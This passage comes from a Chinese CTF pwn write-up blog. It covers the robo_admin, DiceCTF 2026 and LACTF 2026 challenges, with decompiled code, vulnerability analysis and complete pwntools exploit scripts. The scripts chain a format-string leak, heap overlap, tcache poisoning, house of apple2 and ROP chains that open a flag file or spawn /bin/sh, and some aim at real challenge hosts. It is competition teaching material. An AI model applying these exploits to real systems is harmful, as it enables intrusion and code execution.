			0xD8: libc.sym['_IO_wfile_jumps']
		},
		filler=b"\x00"
	)

	login(b'AAA0', b'BBB')
	writemail(len(fake_io), fake_io)
	logout()

	login(b'\x00', b'\x00')
	user2user(1, -3, 1)
	admin_logout()

	myexit()

	orw_rop_chain = flat([
		pop_rax_ret,
		2,
		pop_rdi_ret,
		stderr + 0x10,
		syscall_ret,		# open("/flag")
		pop_rax_ret,
		0,
		pop_rdi_ret,
		3,
		pop_rsi_ret,
		stderr + 0x100,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret,		# read(3, buf, 0x100)
		pop_rax_ret,
		1,
		pop_rdi_ret,
		1,
		pop_rsi_ret,
		stderr + 0x100,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret		# write(1, buf, 0x100)
	])

	#gdb.attach(io)
	io.sendlineafter(b'Goodbye!\n', orw_rop_chain)

	io.interactive()

attack()

区域决赛

robo_admin

呜呜呜我好菜啊比赛时怎么做不出来呜呜呜

checksec

1
2
3
4
5
6
7
8


[*] '/home/RatherHard/CTF-pwn/ccsssc/robo_admin/题目附件/robo_admin'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled

IDA

mystart

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


__int64 mystart()
{
 int v0; // eax
 char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
 __int64 v3; // [rsp+8h] [rbp-18h]
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stderr, 0, 2, 0);
 seccomp();
 clear();
 pwdgen();
 puts("Robo Admin Service");
 while ( 1 )
 {
 puts("\n=== Main Menu ===");
 puts("1. set notice");
 puts("2. show status");
 puts("3. admin login");
 puts("4. exit");
 puts("> ");
 *(_QWORD *)nptr = 0;
 v3 = 0;
 myread(nptr, 16);
 v0 = atoi(nptr);
 if ( v0 == 4 )
 break;
 if ( v0 > 4 )
 goto LABEL_13;
 switch ( v0 )
 {
 case 3:
 judger = admin_judge();
 if ( judger )
 admin_panel();
 break;
 case 1:
 setnotice();
 break;
 case 2:
 showstatus();
 break;
 default:
LABEL_13:
 puts("[X] invalid");
 break;
 }
 }
 puts("bye");
 return 0;
}

菜单题

seccomp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


__int64 seccomp()
{
 __int64 v1; // [rsp+8h] [rbp-8h]

 v1 = seccomp_init(2147418112);
 if ( !v1 )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 2, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 59, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_rule_add(v1, 0, 322, 0) )
 _exit(1);
 if ( (unsigned int)seccomp_load(v1) )
 _exit(1);
 return seccomp_release(v1);
}

禁用了 open 和 execve ，可以用 openat

setnotice

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


unsigned __int64 setnotice()
{
 _QWORD src[32]; // [rsp+0h] [rbp-310h] BYREF
 char s[8]; // [rsp+100h] [rbp-210h] BYREF
 __int64 v3; // [rsp+108h] [rbp-208h]
 _BYTE v4[496]; // [rsp+110h] [rbp-200h] BYREF
 unsigned __int64 v5; // [rsp+308h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 *(_QWORD *)s = 0;
 v3 = 0;
 memset(v4, 0, sizeof(v4));
 memset(src, 0, sizeof(src));
 myread(s, 512);
 if ( strchr(s, 37) || strchr(s, 36) )
 {
 puts("[X] raw input contains illegal chars");
 }
 else if ( (unsigned int)((__int64 (__fastcall *)(char *, _QWORD *, __int64))decode)(s, src, 256) )
 {
 puts("[X] decode failed");
 }
 else
 {
 memcpy(notice, src, sizeof(notice));
 byte_52BF = 0;
 ntc_tag = 1;
 puts("[+] notice updated");
 }
 return v5 - __readfsqword(0x28u);
}

禁止明文出现 ‘%’ 和 ‘$’ ，防止直接的格式化字符串攻击

decode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


__int64 __fastcall decode(__int64 a1, __int64 a2, unsigned __int64 a3)
{
 __int64 v4; // rax
 __int64 v5; // rax
 int v7; // [rsp+20h] [rbp-18h]
 int v8; // [rsp+24h] [rbp-14h]
 __int64 v9; // [rsp+28h] [rbp-10h]
 __int64 i; // [rsp+30h] [rbp-8h]

 v9 = 0;
 for ( i = 0; *(_BYTE *)(a1 + i); ++i )
 {
 if ( a3 <= v9 + 1 )
 return 0xFFFFFFFFLL;
 if ( *(_BYTE *)(a1 + i) == 92 && *(_BYTE *)(i + 1 + a1) == 120 )
 {
 v7 = decodechr((unsigned int)*(char *)(i + 2 + a1));
 v8 = decodechr((unsigned int)*(char *)(i + 3 + a1));
 if ( v7 < 0 || v8 < 0 )
 return 0xFFFFFFFFLL;
 v4 = v9++;
 *(_BYTE *)(a2 + v4) = v8 | (16 * v7);
 i += 3;
 }
 else
 {
 v5 = v9++;
 *(_BYTE *)(v5 + a2) = *(_BYTE *)(a1 + i);
 }
 }
 *(_BYTE *)(a2 + v9) = 0;
 return 0;
}

解码器没有对格式化字符串的校验，可以利用这一点绕过前面的明文校验

showstatus

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


unsigned __int64 __fastcall showstatus(__int64 a1, __int64 a2)
{
 __int64 v2; // rdx
 __int64 v3; // rcx
 __int64 v4; // r8
 __int64 v5; // r9
 __int64 v7; // [rsp+0h] [rbp-40h]
 __int64 v8; // [rsp+8h] [rbp-38h]
 _QWORD v9[2]; // [rsp+10h] [rbp-30h] BYREF
 __int64 v10; // [rsp+20h] [rbp-20h]
 __int64 v11; // [rsp+28h] [rbp-18h]
 unsigned __int64 v12; // [rsp+38h] [rbp-8h]

 v12 = __readfsqword(0x28u);
 v7 = pwd1;
 v8 = pwd2;
 strcpy((char *)v9, "STACK_ANCHOR");
 BYTE5(v9[1]) = 0;
 HIWORD(v9[1]) = 0;
 v10 = 0;
 v11 = 0;
 puts("=== Robo Admin Status ===");
 puts("Robot core: online");
 puts("Task queue: healthy");
 printf("Notice: ");
 if ( ntc_tag )
 {
 if ( once )
 {
 printf("%s", notice);
 }
 else
 {
 once = 1;
 printf(notice, a2, v2, v3, v4, v5, v7, v8, v9[0], v9[1], v10, v11);
 }
 puts(&whatelf);
 }
 else
 {
 puts("(empty)");
 }
 return v12 - __readfsqword(0x28u);
}

有一次格式化字符串利用机会，可以泄露管理员密码和 libc 地址，然后获得进入管理员面板的权限

admin_panel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


unsigned __int64 admin_panel()
{
 char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
 __int64 v2; // [rsp+8h] [rbp-18h]
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 while ( 1 )
 {
 puts("\n=== Task Menu ===");
 puts("1. create");
 puts("2. edit");
 puts("3. query");
 puts("4. list");
 puts("5. delete");
 puts("6. logout");
 puts("> ");
 *(_QWORD *)nptr = 0;
 v2 = 0;
 myread(nptr, 16);
 switch ( atoi(nptr) )
 {
 case 1:
 create();
 break;
 case 2:
 edit();
 break;
 case 3:
 query();
 break;
 case 4:
 list();
 break;
 case 5:
 delete();
 break;
 case 6:
 return v3 - __readfsqword(0x28u);
 default:
 puts("[X] invalid");
 break;
 }
 }
}

经典菜单堆题

create

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


int create()
{
 size_t v0; // rax
 __int64 v1; // rax
 unsigned int v3; // [rsp+4h] [rbp-Ch]
 size_t size; // [rsp+8h] [rbp-8h]

 LODWORD(v0) = readidx();
 v3 = v0;
 if ( (v0 & 0x80000000) == 0LL )
 {
 if ( taskalive[(int)v0] )
 {
 LODWORD(v0) = puts("[X] slot used");
 }
 else
 {
 memset((char *)&task_name + 24 * (int)v0, 0, 0x18u);
 puts("Task name:");
 v1 = (__int64)taskname_getptr(v3);
 myread((void *)v1, 16);
 v0 = readnum("Desc size:", 24, 0x200);
 size = v0;
 if ( v0 )
 {
 task_desc[v3] = malloc(v0);
 if ( task_desc[v3] )
 {
 memset((void *)task_desc[v3], 0, size);
 task_size[v3] = size;
 *(_QWORD *)taskname_getptr_0x10(v3) = 0;
 taskalive[v3] = 1;
 LODWORD(v0) = puts("[+] task created");
 }
 else
 {
 LODWORD(v0) = puts("[X] malloc failed");
 }
 }
 }
 }
 return v0;
}

可申请大小 200 以内任意 chunk ，同时可控 7 个 chunk

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


int edit()
{
 __int64 v0; // rax
 unsigned __int64 v1; // r12
 ssize_t v2; // rbx
 ssize_t *v3; // rax
 unsigned int v5; // [rsp+Ch] [rbp-24h]
 size_t nbytes; // [rsp+10h] [rbp-20h]
 ssize_t v7; // [rsp+18h] [rbp-18h]

 LODWORD(v0) = readidx();
 v5 = v0;
 if ( (int)v0 >= 0 )
 {
 if ( taskalive[(int)v0] )
 {
 v0 = readnum("Write length :", 1, task_size[(int)v0] + 1LL);
 nbytes = v0;
 if ( v0 )
 {
 puts("New desc bytes:");
 v7 = read(0, *((void **)&task_desc + (int)v5), nbytes);
 if ( v7 > 0 )
 {
 if ( task_size[v5] <= (unsigned __int64)v7 )
 {
 if ( task_size[v5] )
 *(_BYTE *)(*((_QWORD *)&task_desc + (int)v5) + task_size[v5] - 1LL) = 0;
 }
 else
 {
 *(_BYTE *)(*((_QWORD *)&task_desc + (int)v5) + v7) = 0;
 }
 v1 = task_size[v5];
 v2 = v7;
 v3 = (ssize_t *)taskname_getptr_0x10(v5);
 if ( v1 <= v7 )
 v2 = v1;
 *v3 = v2;
 LODWORD(v0) = puts("[+] task updated");
 }
 else
 {
 LODWORD(v0) = puts("[X] read failed");
 }
 }
 }
 else
 {
 LODWORD(v0) = puts("[X] empty");
 }
 }
 return v0;
}

发现 off-by-one 漏洞，然后写入的内容末尾会补一个 ‘\x00’ ，阻挠进一步的泄露

delete

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


int delete()
{
 int result; // eax
 int v1; // [rsp+Ch] [rbp-4h]

 result = readidx();
 v1 = result;
 if ( result >= 0 )
 {
 if ( taskalive[result] )
 {
 free((void *)task_desc[result]);
 task_desc[v1] = 0;
 task_size[v1] = 0;
 memset((char *)&task_name + 24 * v1, 0, 0x18u);
 taskalive[v1] = 0;
 return puts("[+] deleted");
 }
 else
 {
 return puts("[X] empty");
 }
 }
 return result;
}

没有 UAF

攻击思路

利用格式化字符串获取管理员权限后，就是 off-by-one 的利用了

准备三个相邻 chunk A, B, C ，从低地址到高地址排列

利用 A 的 off-by-one 漏洞使 B 恰好包括住 C ，然后 free 掉 B 使之进入 unsortedbin

申请原来的 B 的大小的 chunk ，使 unsortedbin 剩下 lastremainder C ，然后再申请 C 的大小，这样就获得了两个指向同一个 chunk 的堆指针

最后 free 掉其中一个指针，就可以达成 UAF 的效果，leak heap 后用 tcache poisoning 打 house of apple2 写 orw 链即可

不过 chunk 的大小还要精心选择一波，在开始利用之前需要做一下堆风水使 B 能进入 unsortedbin

吐槽一下这初始的堆环境是有够恶劣的。。。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './robo_admin_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def encoder(text):
 result = str()
 for i in text:
 if i == '%' or i == '$':
 result += '\\' + hex(ord(i))[1:]
 else:
 result += i
 return result.encode()

def safelinking(pos, ptr):
 return (pos >> 12) ^ ptr

def decodenext(x):
 a = x
 for _ in range(12):
 x = a ^ (x >> 12)
 return x

def setnotice(notice):
 sla(b'> \n', b'1')
 s(notice)

def showstatus():
 sla(b'> \n', b'2')

def admin_login(pwd):
 sla(b'> \n', b'3')
 sa(b'Token:\n', b'ROBOADMIN')
 sa(b'Password (32 hex):\n', pwd)

def exit():
 sla(b'> \n', b'4')

def createtask(idx, name, size):
 sla(b'> \n', b'1')
 sla(b'Index:\n', str(idx).encode())
 sa(b'name:\n', name)
 sla(b'size:\n', str(size).encode())

def edittask(idx, length, content):
 sla(b'> \n', b'2')
 sla(b'Index:\n', str(idx).encode())
 sa(b'length :\n', str(length).encode())
 sla(b'bytes:\n', content)

def querytask(idx):
 sla(b'> \n', b'3')
 sla(b'Index:\n', str(idx).encode())

def deletetask(idx):
 sla(b'> \n', b'5')
 sla(b'Index:\n', str(idx).encode())

def logout():
 sla(b'> \n', b'6')

setnotice(encoder('%6$016p%7$016p%23$p')) # leak pwd, libc
showstatus()
ru(b'Notice: ')
r(2)
pwd = r(16)
r(2)
pwd += r(16)
r(2)
libc.address = int(r(12).decode('utf-8'), 16) - 0x29d90
leak('libc.address')
admin_login(pwd)

createtask(0, b'WWW', 0x48) # init_chunk
createtask(1, b'WWW', 0x48)
createtask(2, b'WWW', 0x48)
deletetask(0)
deletetask(1)
deletetask(2)

for i in range(7): # fill tcache
 createtask(i, str(i).encode(), 0x1d8)
for i in range(7):
 deletetask(i)

createtask(0, b'AAA', 0xd8) # build overlap
createtask(1, b'AAA', 0xf8)
createtask(2, b'AAA', 0xd8)
createtask(3, b'AAA', 0xd8)
payload = b'A' * 0xd8 + b'\xe1'
edittask(0, 0xd9, payload)
deletetask(1)
createtask(1, b'AAA', 0xf8)
deletetask(1)
createtask(1, b'AAA', 0xd8)
deletetask(3)
deletetask(1)

querytask(2) # leak heap
ru(b' => ')
heap = decodenext(uu64(r(6))) - 0x2940
leak('heap')

payload = p64(safelinking(heap + 0x2000, heap + 0xf0)) # tcache poisoning
edittask(2, 0x8, payload)
createtask(3, b'AAA', 0xd8)
createtask(4, b'AAA', 0xd8)
stderr = libc.symbols['_IO_2_1_stderr_']
payload = p64(stderr) + p64(stderr)
edittask(4, 0x16, payload)

createtask(6, b'BBB', 0xe0) # house of apple2
fake_io = flat({
 0x0: 0,
 0x10: b'flag\x00',
 0x28: libc.sym['setcontext'] + 0x3d,
 0x38: 0, # RDI
 0x40: stderr + 0x20, # RSI
 0x58: 0x400, # RDX
 0x70: stderr + 0x20, # RSP
 0X78: libc.sym['read'], # RIP
 0x88: stderr,
 0xA0: stderr - 0x30, # __rdx__
 0xB0: stderr - 0x40,
 0xD8: libc.sym['_IO_wfile_jumps']
 },
 filler=b"\x00"
)
edittask(6, 0xe0, fake_io)
logout()
exit()

pop_rax_ret = libc.address + 0x45eb0
pop_rdi_ret = libc.address + 0x2a3e5
pop_rsi_ret = libc.address + 0x2be51
pop_rdx_pop_r12_ret = libc.address + 0x11f367
syscall_ret = libc.address + 0x91316

rop_chain = flat([
 pop_rax_ret,
 257,
 pop_rdi_ret,
 -100,
 pop_rsi_ret,
 stderr + 0x10,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret,		# openat(-100, "flag", 0)
 pop_rax_ret,
 0,
 pop_rdi_ret,
 3,
 pop_rsi_ret,
 stderr + 0x400,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret,		# read(3, buf, 0x100)
 pop_rax_ret,
 1,
 pop_rdi_ret,
 1,
 pop_rsi_ret,
 stderr + 0x400,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret		# write(1, buf, 0x100)
])

sla(b'bye', rop_chain)

itr()

# 0x0000000000045eb0: pop rax; ret;
# 0x000000000002a3e5: pop rdi; ret;
# 0x000000000002be51: pop rsi; ret;
# 0x000000000011f367: pop rdx; pop r12; ret;
# 0x0000000000091316: syscall; ret;

DiceCTF-2026-Quals 个人题解

Tue, 10 Mar 2026 13:29:00 +0000

bytecrusher

checksec

code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91


#include <stdio.h>
#include <stdlib.h>
#include <string.h>


void admin_portal() {
 puts("Welcome dicegang admin!");
 FILE *f = fopen("flag.txt", "r");
 if (f) {
 char read;
 while ((read = fgetc(f)) != EOF) {
 putchar(read);
 }
 fclose(f);
 } else {
 puts("flag file not found");
 }
}

void crush_string(char *input, char *output, int rate, int output_max_len) {
 if (rate < 1) rate = 1;
 int out_idx = 0;
 for (int i = 0; input[i] != '\0' && out_idx < output_max_len - 1; i += rate) {
 output[out_idx++] = input[i];
 }
 output[out_idx] = '\0';
}

void free_trial() {
 char input_buf[32];
 char crushed[32];

 for (int i=0; i<16; i++) {
 printf("Enter a string to crush:\n");
 fgets(input_buf, sizeof(input_buf), stdin);


 printf("Enter crush rate:\n");
 int rate;
 scanf("%d", &rate);

 if (rate < 1) {
 printf("Invalid crush rate, using default of 1.\n");
 rate = 1;
 }

 printf("Enter output length:\n");
 int output_len;
 scanf("%d", &output_len);

 if (output_len > sizeof(crushed)) {
 printf("Output length too large, using max size.\n");
 output_len = sizeof(crushed);
 }

 crush_string(input_buf, crushed, rate, output_len);


 printf("Crushed string:\n");
 puts(crushed);
 }
}

void get_feedback() {
 char buf[16];
 printf("Enter some text:\n");
 gets(buf);
 printf("Your feedback has been recorded and totally not thrown away.\n");
}


#define COMPILE_ADMIN_MODE 0

int main() {
 setvbuf(stdin, NULL, _IONBF, 0);
 setvbuf(stdout, NULL, _IONBF, 0);

 printf("Welcome to ByteCrusher, dicegang's new proprietary text crusher!\n");
 printf("We are happy to offer sixteen free trials of our premium service.\n");

 free_trial();
 get_feedback();
 
 printf("\nThank you for trying ByteCrusher! We hope you enjoyed it.\n");

 if (COMPILE_ADMIN_MODE) {
 admin_portal();
 }
 
 return 0;
}

有越界写，通过选择合适的 rates 可以逐字节泄露 canary 和 pie ，毕竟至少有 16 字节的泄露机会

然后在栈溢出上 ret2text 即可

比较棘手的是本地打需要 Piggyback 技巧，但打远端不用

这比赛还有个神秘的 PoW ，爆破什么的不大现实

IDA

free_trial

get_feedback

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./bytecrusher_patched')
else:
	io = remote('bytecrusher.chals.dicec.tf', 1337)

canary_rates = [0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f]
pie_rates = [0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d]

libc = ELF('./libc.so.6')
	
def crush(rate, output_len):
	io.sendlineafter(b'crush:\n', b'A')
	io.sendlineafter(b'rate:\n', str(rate).encode())
	io.sendlineafter(b'length:\n', str(output_len).encode())

def attack():
	canary = b'\x00'
	for i in canary_rates:
		crush(i, 3)
		io.recvuntil(b"string:\nA")
		canary += io.recv(1)
	canary = u64(canary)
	log.info(f'canary = {hex(canary)}')

	pie = b''
	for i in pie_rates:
		crush(i, 3)
		io.recvuntil(b"string:\nA")
		pie += io.recv(1)
	pie = u64(pie.ljust(8, b'\x00')) - 0x15EC
	log.info(f'pie = {hex(pie)}')

	for _ in range(3):
		crush(1, 3)
	payload = b'A' * 0x18 + p64(canary) + p64(0) + p64(pie + 0x12AD)
	io.sendlineafter(b'text:\n', payload)

	io.interactive()

io.recvuntil(b"proof of work:\n")
pow_cmd = io.recvline().decode('utf-8').strip()
io.recvuntil(b"solution: ")
result = subprocess.check_output(pow_cmd, shell=True).decode('utf-8').strip()
io.sendline(result.encode())
attack()

message-store

checksec

IDA

main

入口

set_message

允许写入 BUFFER

set_message_color

设置 color

print_message

没有校验 COLOR 的大小，存在数组越界写，可以执行函数指针，只要提前往 BUFFER 写入即可

需要注意 from_utf8_lossy

from_utf8_lossy

from_utf8_lossy 是 Rust 标准库中用于处理可能包含无效 UTF-8 序列的字节数据‌ 的方法，其核心特点是 ‌“有损但保证成功”‌

from_utf8_lossy ‌行为‌：若字节序列是有效 UTF-8‌ ，直接借用为 &str ，不分配内存‌ 若遇到无效 UTF-8 字节‌，用 Unicode 替换字符 ‌�（U+FFFD）替换，并返回一个‌新分配的 String‌

BUFFER

攻击思路

利用数组越界写执行函数指针，由于 rax 在执行函数指针时为 from_utf8_lossy 的返回值，结合 xchg rsp, rax; ret; 可以去执行 BUFFER 上布置的 ROP 链，

但是这需要使 BUFFER 上布置的 ROP 链所使用的字节满足 UTF-8 规范：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


1字节：
00–7F

2字节：
C2–DF 80–BF

3字节：
E0 A0–BF 80–BF
E1–EC 80–BF 80–BF
ED 80–9F 80–BF
EE–EF 80–BF 80–BF

4字节：
F0 90–BF 80–BF 80–BF
F1–F3 80–BF 80–BF 80–BF
F4 80–8F 80–BF 80–BF

然后去筛选 gadgets 打 ret2syscall

不过中间还需要布置 /bin/sh ，在 BUFFER 上布置然后传给 rdi 的地址不可能满足 1 字节 UTF-8 规范，但是可以满足 2 字节 UTF-8 规范： 0x2F9FD0 （小端序）

rust pwn 直接逆向比较困难，结合动态分析 / fuzz 去推测漏洞点是很好的技巧

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./challenge')
else:
	io = remote('node5.buuoj.cn', 26980)

def send_message(meesage):
	io.sendlineafter(b'> ', b'1')
	io.sendlineafter(b'New Message? ', meesage)

def send_message_color(color):
	io.sendlineafter(b'> ', b'2')
	io.sendlineafter(b'> ', str(color).encode())

def print_message():
	io.sendlineafter(b'> ', b'3')

def myexit():
	io.sendlineafter(b'> ', b'4')

def attack():
	pop_rdi_pop_rbp_xor_eax_eax_ret = 0x2a1345
	pop_rsi_ret = 0x243431
	mov_rdx_rsi_add_rsp_0x80_pop_rbp_ret = 0x27146b
	mov_rax_rbx_pop_rbx_ret = 0x24577a
	syscall = 0x2a6602
	xchg_rsp_rax_ret = 0x242d78

	bin_sh = 0x2F9FD0
	buffer = 0x2F9E38
	funclist = 0x2F08E8

	rop_chain = flat([
		pop_rdi_pop_rbp_xor_eax_eax_ret,
		bin_sh,
		0,
		pop_rsi_ret,
		0,
		mov_rdx_rsi_add_rsp_0x80_pop_rbp_ret,
		p64(0) * 0x11,
		mov_rax_rbx_pop_rbx_ret,
		59,
		mov_rax_rbx_pop_rbx_ret,
		59,
		syscall,
		xchg_rsp_rax_ret
	])

	payload = flat({
		0x0: rop_chain,
		bin_sh - buffer: '/bin/sh\x00'
	}, filler = '\x00')

	send_message(payload)
	send_message_color((buffer + len(rop_chain) - 8 - funclist) // 8)
	gdb.attach(io)
	print_message()
	io.interactive()

attack()

# .data.rel.ro:00000000002F08E8 funcs_243A92 dq offset _RNvYReNtCscVAelyVn9lu_7colored8Colorize3redB6_
# .bss:00000000002F9E38 ; challenge::BUFFER

# 0x00000000002a1345: pop rdi; pop rbp; xor eax, eax; ret;
# 0x0000000000243431: pop rsi; ret;
# 0x000000000027146b: mov rdx, rsi; add rsp, 0x80; pop rbp; ret;
# 0x000000000024577a: mov rax, rbx; pop rbx; ret;
# 0x00000000002a6602: syscall;

# 0x0000000000242d78: xchg rsp, rax; ret;

# rdi->0x2F9FD0->/bin/sh\x00
# rsi->0
# rdx->0

LACTF2026-pwn 个人题解

Wed, 11 Feb 2026 02:38:00 +0000

tic-tac-no

IDA

main

井字棋

playerMove

数组越界写

checkWin

相同字符就胜利

bss

越界写把电脑的棋子变成自己的就行了，脚本都不用写

ScrabASM

IDA

main

swap_tile

play

其实就是执行随机生成的 shellcode ，但可以更换任意字节为随机字节

攻击思路

由于 srand 以时间作种子，可以考虑在同时运行本地随机数生成程序和攻击脚本以预测随机数，进而控制 shellcode

且由于只有 15 字节的空间，我们可以先执行 read shellcode 再自行写入提权 shellcode

(这张图片用了队友 ItsFlicker 的，懒得自己再截了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


add al, 0xd
push rax
pop rsi
xor edi, edi
push rdi
pop rax
mov dl, 0xf0
syscall

{ 0x04, 0x0D, 0x50, 0x5E, 0x31, 0xFF, 0x57, 0x58, 0xB2, 0xF0, 0x0F, 0x05 }

exp

c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35


#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
 int t = time(0);
 srand(t + 2);
 FILE *fp = fopen("./beyond.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 srand(t);
 fp = fopen("./present.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 srand(t + 1);
 fp = fopen("./future.txt", "w");
 if (fp == NULL) {
 printf("failed");
 }
 for (int i = 1; i <= 1000; i++) {
 fprintf(fp, "%02x ", rand() % 0x100);
 }
 fclose(fp);
 return 0;
}

python

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./chall')
else:
	io = remote('chall.lac.tf', 31338)

nowrd = []
prsrd = []
ftrrd = []
bydrd = []
tag = ''
nowstep = [0] * 14
rout = []
fag = [0] * 14
sc = ['04', '0d', '50', '5e', '48', '31', 'ff', '57', '58', 'b2', 'f0', '0f', '05']

def rdbt():
	global nowrd
	io.recvuntil(b'Your starting tiles:')
	for i in range(14):
		io.recvuntil(b'| ')
		nowrd.append(io.recv(2).decode('utf-8'))

def prsbt():
	global prsrd
	with open('present.txt', 'r', encoding = 'utf-8') as f:
		prsrd = f.read().split()

